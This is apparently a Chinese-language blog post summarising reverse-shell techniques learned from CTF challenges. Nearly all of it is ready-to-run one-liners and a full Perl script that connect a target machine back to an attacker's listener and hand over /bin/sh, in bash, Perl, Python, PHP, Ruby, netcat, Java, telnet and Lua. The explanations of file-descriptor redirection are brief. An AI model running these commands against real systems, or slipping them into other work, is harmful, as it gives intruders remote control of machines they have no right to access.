最近做了幾題都是反彈shell,總結一哈
bash
bash -i >& /dev/tcp/vps_ip/端口號 0>&1
bash -i 生成一個交互式的子進程
&表示在Linux後臺運行
/dev/tcp/vps_ip/端口號 其實是與主機建立tcp連接
/dev/[tcp|upd]/host/port是Linux裏面比較特殊的文件,讀取和寫入相當於建立一個socket調用
0是標準輸入,1是標準輸出,2是錯誤輸出,0>&1表示將標準輸入重定向到標準輸出,0>1表示將標準輸入重定向到文件名爲1的文件,&是用來區分的標識符(Linux默認不會把錯誤信息重定向到文件的
舉個栗子, command >file 2>&1表示將標準輸出重定向到file,然後錯誤輸出重定向到標準輸出,也就是又定向到了file,所以最後,標準輸出和錯誤輸出都定向到了file
好了,解釋了一波,來個實例
靶機bash命令連到主機上
監聽一下
好了,shell拿到了
bash還有其他命令
/bin/bash -i >& /dev/tcp/vps_ip/端口號 0>&1
類似還有sh,同樣也是監聽彈shell
/bin/sh -i >& /dev/tcp/vps_ip/端口號 0>&1
exec
0x01
主機監聽,靶機命令執行
exec 5<> /dev/tcp/vps_ip/端口號
cat <&5 | while read line; do $line 2>&5 >&5; done
成功getshell
0x02
本地監聽,靶機執行
exec 2>&0
0>&196;exec 196<>/dev/tcp/vps_ip/端口號;sh <&196 >&196 2>&196
這個其實也是sh連接過去,但是不知道爲什麼,靶機會報個錯,但是還是能成功彈shell
Perl
0x01
perl還是很強大的,調用sh也能成功彈到shell
繼續本地監聽,靶機執行
perl -e 'use Socket;$i="10.173.196.52";$p=2222;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
然後就能getshell了
0x02
也可以不用調用sh
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"10.173.80.40:2333");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
0x03
還能直接運行腳本
#!/usr/bin/perl -w
#
use strict;
use Socket;
use IO::Handle;
if($#ARGV+1!=2){
print "$#ARGV $0 Remote_IP Remote_Port \n";
exit 1;
}
my $remote_ip = $ARGV[0];
my $remote_port = $ARGV[1];
my $proto = getprotobyname("tcp");
my $pack_addr = sockaddr_in($remote_port,inet_aton($remote_ip));
my $shell = '/bin/bash -i';
socket(SOCK,AF_INET,SOCK_STREAM,$proto);
STDOUT->autoflush(1);
SOCK->autoflush(1);
connect(SOCK,$pack_addr) or die "can not connect:$!";
open STDIN,"<&SOCK";
open STDOUT,">&SOCK";
open STDERR,">&SOCK";
print "enjoy the shell.\n";
system($shell);
close SOCK;
exit 0;
運行的時候加個ip和端口號,然後就能彈shell了,其實也是在利用bash去getshell
Python
0x01
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.173.200.224",2222));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
0x02
python -c "exec(\"import socket,subprocess;s = socket.socket();s.connect(('10.173.200.224',2222))\nwhile 1: proc = subprocess.Popen(s.recv(1024),shell = True,stdout=subprocess.PIPE,stderr=subprocess.PIPE,stdin=subprocess.PIPE);s.send(proc.stdout.read()+proc.stderr.read())\")"
Php
php -r '$sock=fsockopen("192.168.1.104",2333);exec("/bin/sh -i <&3 >&3 2>&3");'
Ruby
0x01
ruby -rsocket -e'f=TCPSocket.open("ip",port).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
0x02
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("ip","port");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
NetCat
0x01
nc -e /bin/sh ip port
0x02
mknod backpipe p && nc 192.168.1.104 2222 0<backpipe | /bin/bash 1>backpipe
0x03
rm /tmp/p;mkfifo /tmp/p;cat /tmp/p|/bin/sh -i 2>&1|nc 192.168.1.104 2222 >/tmp/p
新建個tmp文件去存,然後回顯過來
0x04
nc ip port |/bin/sh | nc ip port
監聽兩個通道,一個輸入一個輸出
Java
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/ip/port;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
可以看到還是調用了bash的,肉雞不知道怎麼運行(逃
Telnet
mknod backpipe p && telnet ip port 0<backpipe | /bin/bash 1>backpipe
Lua
lua -e "require('socket');require('os');t=socket.tcp();t:connect('ip','port');os.execute('/bin/sh -i <&3 >&3 2>&3');"